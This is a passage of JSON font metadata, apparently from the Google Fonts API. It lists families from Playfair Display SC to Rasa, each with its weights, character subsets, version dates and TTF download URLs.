SC","variants":["regular","italic","700","700italic","900","900italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke85OhoaMkR6-hSn7kbHVoFf7ZfgMPr_pb4GEcM2M4s.ttf","italic":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke87OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbwMFeEzI4sNKg.ttf","700":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nQIpNcsdL4IUMyE.ttf","700italic":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0qc4XK6ARIyH5IA.ttf","900":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke80OhoaMkR6-hSn7kbHVoFf7ZfgMPr_nTorNcsdL4IUMyE.ttf","900italic":"http://fonts.gstatic.com/s/playfairdisplaysc/v10/ke82OhoaMkR6-hSn7kbHVoFf7ZfgMPr_lbw0kcwXK6ARIyH5IA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Podkova","variants":["regular","500","600","700","800"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v17","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWtFzcU4EoporSHH.ttf","500":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWt3zcU4EoporSHH.ttf","600":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWubysU4EoporSHH.ttf","700":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWuiysU4EoporSHH.ttf","800":"http://fonts.gstatic.com/s/podkova/v17/K2FufZ1EmftJSV9VQpXb1lo9vC3nZWvFysU4EoporSHH.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Poiret One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/poiretone/v9/UqyVK80NJXN4zfRgbdfbk5lWVscxdKE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Poller One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pollerone/v10/ahccv82n0TN3gia5E4Bud-lbgUS5u0s.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Poly","variants":["regular","italic"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/poly/v11/MQpb-W6wKNitRLCAq2Lpris.ttf","italic":"http://fonts.gstatic.com/s/poly/v11/MQpV-W6wKNitdLKKr0DsviuGWA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Pompiere","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/pompiere/v10/VEMyRoxis5Dwuyeov6Wt5jDtreOL.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pontano Sans","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pontanosans/v8/qFdD35GdgYR8EzR6oBLDHa3qwjUMg1siNQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Poor Story","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/poorstory/v8/jizfREFUsnUct9P6cDfd4OmnLD0Z4zM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Poppins","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["devanagari","latin","latin-ext"],"version":"v15","lastModified":"2020-11-06","files":{"100":"http://fonts.gstatic.com/s/poppins/v15/pxiGyp8kv8JHgFVrLPTed3FBGPaTSQ.ttf","100italic":"http://fonts.gstatic.com/s/poppins/v15/pxiAyp8kv8JHgFVrJJLmE3tFOvODSVFF.ttf","200":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLFj_V1tvFP-KUEg.ttf","200italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmv1plEN2PQEhcqw.ttf","300":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLDz8V1tvFP-KUEg.ttf","300italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLm21llEN2PQEhcqw.ttf","regular":"http://fonts.gstatic.com/s/poppins/v15/pxiEyp8kv8JHgFVrFJDUc1NECPY.ttf","italic":"http://fonts.gstatic.com/s/poppins/v15/pxiGyp8kv8JHgFVrJJLed3FBGPaTSQ.ttf","500":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLGT9V1tvFP-KUEg.ttf","500italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmg1hlEN2PQEhcqw.ttf","600":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLEj6V1tvFP-KUEg.ttf","600italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmr19lEN2PQEhcqw.ttf","700":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLCz7V1tvFP-KUEg.ttf","700italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLmy15lEN2PQEhcqw.ttf","800":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLDD4V1tvFP-KUEg.ttf","800italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLm111lEN2PQEhcqw.ttf","900":"http://fonts.gstatic.com/s/poppins/v15/pxiByp8kv8JHgFVrLBT5V1tvFP-KUEg.ttf","900italic":"http://fonts.gstatic.com/s/poppins/v15/pxiDyp8kv8JHgFVrJJLm81xlEN2PQEhcqw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Port Lligat Sans","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/portlligatsans/v9/kmKmZrYrGBbdN1aV7Vokow6Lw4s4l7N0Tx4xEcQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Port Lligat Slab","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/portlligatslab/v9/LDIpaoiQNgArA8kR7ulhZ8P_NYOss7ob9yGLmfI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Pragati Narrow","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/pragatinarrow/v7/vm8vdRf0T0bS1ffgsPB7WZ-mD17_ytN3M48a.ttf","700":"http://fonts.gstatic.com/s/pragatinarrow/v7/vm8sdRf0T0bS1ffgsPB7WZ-mD2ZD5fd_GJMTlo_4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Prata","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/prata/v13/6xKhdSpbNNCT-vWIAG_5LWwJ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Preahvihear","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/preahvihear/v12/6NUS8F-dNQeEYhzj7uluxswE49FJf8Wv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Press Start 2P","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/pressstart2p/v9/e3t4euO8T-267oIAQAu6jDQyK0nSgPJE4580.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Pridi","variants":["200","300","regular","500","600","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"200":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc1SiE0jRUG0AqUc.ttf","300":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc02i00jRUG0AqUc.ttf","regular":"http://fonts.gstatic.com/s/pridi/v6/2sDQZG5JnZLfkfWao2krbl29.ttf","500":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc1uik0jRUG0AqUc.ttf","600":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc1CjU0jRUG0AqUc.ttf","700":"http://fonts.gstatic.com/s/pridi/v6/2sDdZG5JnZLfkc0mjE0jRUG0AqUc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Princess Sofia","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/princesssofia/v9/qWczB6yguIb8DZ_GXZst16n7GRz7mDUoupoI.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Prociono","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/prociono/v10/r05YGLlR-KxAf9GGO8upyDYtStiJ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Prompt","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2019-07-17","files":{"100":"http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2CA9oYREcjeo0k.ttf","100italic":"http://fonts.gstatic.com/s/prompt/v4/-W_7XJnvUD7dzB2KZeJ8TkMBf50kbiM.ttf","200":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cr_s4bmkvc5Q9dw.ttf","200italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLQb2MrUZEtdzow.ttf","300":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cy_g4bmkvc5Q9dw.ttf","300italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK0bGMrUZEtdzow.ttf","regular":"http://fonts.gstatic.com/s/prompt/v4/-W__XJnvUD7dzB26Z9AcZkIzeg.ttf","italic":"http://fonts.gstatic.com/s/prompt/v4/-W_9XJnvUD7dzB2KZdoYREcjeo0k.ttf","500":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Ck_k4bmkvc5Q9dw.ttf","500italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLsbWMrUZEtdzow.ttf","600":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cv_44bmkvc5Q9dw.ttf","600italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeLAamMrUZEtdzow.ttf","700":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C2_84bmkvc5Q9dw.ttf","700italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKka2MrUZEtdzow.ttf","800":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2Cx_w4bmkvc5Q9dw.ttf","800italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeK4aGMrUZEtdzow.ttf","900":"http://fonts.gstatic.com/s/prompt/v4/-W_8XJnvUD7dzB2C4_04bmkvc5Q9dw.ttf","900italic":"http://fonts.gstatic.com/s/prompt/v4/-W_6XJnvUD7dzB2KZeKcaWMrUZEtdzow.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Prosto One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/prostoone/v9/OpNJno4VhNfK-RgpwWWxpipfWhXD00c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Proza Libre","variants":["regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/prozalibre/v5/LYjGdGHgj0k1DIQRyUEyyHovftvXWYyz.ttf","italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjEdGHgj0k1DIQRyUEyyEotdN_1XJyz7zc.ttf","500":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyELbV__fcpC69i6N.ttf","500italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTCvceJSY8z6Np1k.ttf","600":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyEL3UP_fcpC69i6N.ttf","600italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTAfbeJSY8z6Np1k.ttf","700":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyEKTUf_fcpC69i6N.ttf","700italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTGPaeJSY8z6Np1k.ttf","800":"http://fonts.gstatic.com/s/prozalibre/v5/LYjbdGHgj0k1DIQRyUEyyEKPUv_fcpC69i6N.ttf","800italic":"http://fonts.gstatic.com/s/prozalibre/v5/LYjZdGHgj0k1DIQRyUEyyEotTH_ZeJSY8z6Np1k.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Public Sans","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpi5ww0pX189fg.ttf","200":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulpm5ww0pX189fg.ttf","300":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuSJm5ww0pX189fg.ttf","regular":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuFpm5ww0pX189fg.ttf","500":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuJJm5ww0pX189fg.ttf","600":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuyJ65ww0pX189fg.ttf","700":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymu8Z65ww0pX189fg.ttf","800":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymulp65ww0pX189fg.ttf","900":"http://fonts.gstatic.com/s/publicsans/v4/ijwGs572Xtc6ZYQws9YVwllKVG8qX1oyOymuv565ww0pX189fg.ttf","100italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgQctfVotfj7j.ttf","200italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRgActfVotfj7j.ttf","300italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673toPgActfVotfj7j.ttf","italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpRgActfVotfj7j.ttf","500italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tpjgActfVotfj7j.ttf","600italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tqPhwctfVotfj7j.ttf","700italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tq2hwctfVotfj7j.ttf","800italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673trRhwctfVotfj7j.ttf","900italic":"http://fonts.gstatic.com/s/publicsans/v4/ijwAs572Xtc6ZYQws9YVwnNDZpDyNjGolS673tr4hwctfVotfj7j.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Puritan","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/puritan/v12/845YNMgkAJ2VTtIo9JrwRdaI50M.ttf","italic":"http://fonts.gstatic.com/s/puritan/v12/845aNMgkAJ2VTtIoxJj6QfSN90PfXA.ttf","700":"http://fonts.gstatic.com/s/puritan/v12/845dNMgkAJ2VTtIozCbfYd6j-0rGRes.ttf","700italic":"http://fonts.gstatic.com/s/puritan/v12/845fNMgkAJ2VTtIoxJjC_dup_2jDVevnLQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Purple Purse","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/purplepurse/v9/qWctB66gv53iAp-Vfs4My6qyeBb_ujA4ug.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Quando","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/quando/v9/xMQVuFNaVa6YuW0pC6WzKX_QmA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Quantico","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/quantico/v10/rax-HiSdp9cPL3KIF4xsLjxSmlLZ.ttf","italic":"http://fonts.gstatic.com/s/quantico/v10/rax4HiSdp9cPL3KIF7xuJDhwn0LZ6T8.ttf","700":"http://fonts.gstatic.com/s/quantico/v10/rax5HiSdp9cPL3KIF7TQARhasU7Q8Cad.ttf","700italic":"http://fonts.gstatic.com/s/quantico/v10/rax7HiSdp9cPL3KIF7xuHIRfu0ry9TadML4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Quattrocento","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/quattrocento/v12/OZpEg_xvsDZQL_LKIF7q4jPHxGL7f4jFuA.ttf","700":"http://fonts.gstatic.com/s/quattrocento/v12/OZpbg_xvsDZQL_LKIF7q4jP_eE3fd6PZsXcM9w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Quattrocento Sans","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9c4lja2NVIDdIAAoMR5MfuElaRB3zOvU7eHGHJ.ttf","italic":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9a4lja2NVIDdIAAoMR5MfuElaRB0zMt0r8GXHJkLI.ttf","700":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9Z4lja2NVIDdIAAoMR5MfuElaRB0RykmrWN33AiasJ.ttf","700italic":"http://fonts.gstatic.com/s/quattrocentosans/v13/va9X4lja2NVIDdIAAoMR5MfuElaRB0zMj_bTPXnijLsJV7E.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Questrial","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/questrial/v12/QdVUSTchPBm7nuUeVf7EuStkm20oJA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Quicksand","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v21","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkKEo18G0wx40QDw.ttf","regular":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkP8o18G0wx40QDw.ttf","500":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkM0o18G0wx40QDw.ttf","600":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkCEv18G0wx40QDw.ttf","700":"http://fonts.gstatic.com/s/quicksand/v21/6xK-dSZaM9iE8KbpRA_LJ3z8mH9BOJvgkBgv18G0wx40QDw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Quintessential","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/quintessential/v8/fdNn9sOGq31Yjnh3qWU14DdtjY5wS7kmAyxM.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Qwigley","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/qwigley/v10/1cXzaU3UGJb5tGoCuVxsi1mBmcE.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Racing Sans One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/racingsansone/v8/sykr-yRtm7EvTrXNxkv5jfKKyDCwL3rmWpIBtA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Radley","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v15","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/radley/v15/LYjDdGzinEIjCN19oAlEpVs3VQ.ttf","italic":"http://fonts.gstatic.com/s/radley/v15/LYjBdGzinEIjCN1NogNAh14nVcfe.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rajdhani","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pasEcOsc-bGkqIw.ttf","regular":"http://fonts.gstatic.com/s/rajdhani/v10/LDIxapCSOBg7S-QT7q4AOeekWPrP.ttf","500":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pb0EMOsc-bGkqIw.ttf","600":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pbYF8Osc-bGkqIw.ttf","700":"http://fonts.gstatic.com/s/rajdhani/v10/LDI2apCSOBg7S-QT7pa8FsOsc-bGkqIw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rakkas","variants":["regular"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/rakkas/v9/Qw3cZQlNHiblL3j_lttPOeMcCw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Raleway","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-09-30","files":{"100":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVvao4CPNLA3JC9c.ttf","200":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVtaooCPNLA3JC9c.ttf","300":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVuEooCPNLA3JC9c.ttf","regular":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVvaooCPNLA3JC9c.ttf","500":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVvoooCPNLA3JC9c.ttf","600":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVsEpYCPNLA3JC9c.ttf","700":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVs9pYCPNLA3JC9c.ttf","800":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVtapYCPNLA3JC9c.ttf","900":"http://fonts.gstatic.com/s/raleway/v18/1Ptxg8zYS_SKggPN4iEgvnHyvveLxVtzpYCPNLA3JC9c.ttf","100italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4WjNPrQVIT9c2c8.ttf","200italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4ejMPrQVIT9c2c8.ttf","300italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4TbMPrQVIT9c2c8.ttf","italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4WjMPrQVIT9c2c8.ttf","500italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4VrMPrQVIT9c2c8.ttf","600italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4bbLPrQVIT9c2c8.ttf","700italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4Y_LPrQVIT9c2c8.ttf","800italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4ejLPrQVIT9c2c8.ttf","900italic":"http://fonts.gstatic.com/s/raleway/v18/1Pt_g8zYS_SKggPNyCgSQamb1W0lwk4S4cHLPrQVIT9c2c8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Raleway Dots","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ralewaydots/v8/6NUR8FifJg6AfQvzpshgwJ8kyf9Fdty2ew.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ramabhadra","variants":["regular"],"subsets":["latin","telugu"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ramabhadra/v10/EYq2maBOwqRW9P1SQ83LehNGX5uWw3o.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ramaraja","variants":["regular"],"subsets":["latin","telugu"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ramaraja/v5/SlGTmQearpYAYG1CABIkqnB6aSQU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Rambla","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rambla/v8/snfrs0ip98hx6mr0I7IONthkwQ.ttf","italic":"http://fonts.gstatic.com/s/rambla/v8/snfps0ip98hx6mrEIbgKFN10wYKa.ttf","700":"http://fonts.gstatic.com/s/rambla/v8/snfos0ip98hx6mrMn50qPvN4yJuDYQ.ttf","700italic":"http://fonts.gstatic.com/s/rambla/v8/snfus0ip98hx6mrEIYC2O_l86p6TYS-Y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Rammetto One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/rammettoone/v9/LhWiMV3HOfMbMetJG3lQDpp9Mvuciu-_SQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ranchers","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ranchers/v8/zrfm0H3Lx-P2Xvs2AoDYDC79XTHv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rancho","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/rancho/v11/46kulbzmXjLaqZRlbWXgd0RY1g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ranga","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ranga/v6/C8ct4cYisGb28p6CLDwZwmGE.ttf","700":"http://fonts.gstatic.com/s/ranga/v6/C8cg4cYisGb28qY-AxgR6X2NZAn2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Rasa","variants":["300","regular","500","600","700"],"subsets":["gujarati","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/rasa/v6/xn7gYHIn1mWmdg52sgC7S9XdZN8.ttf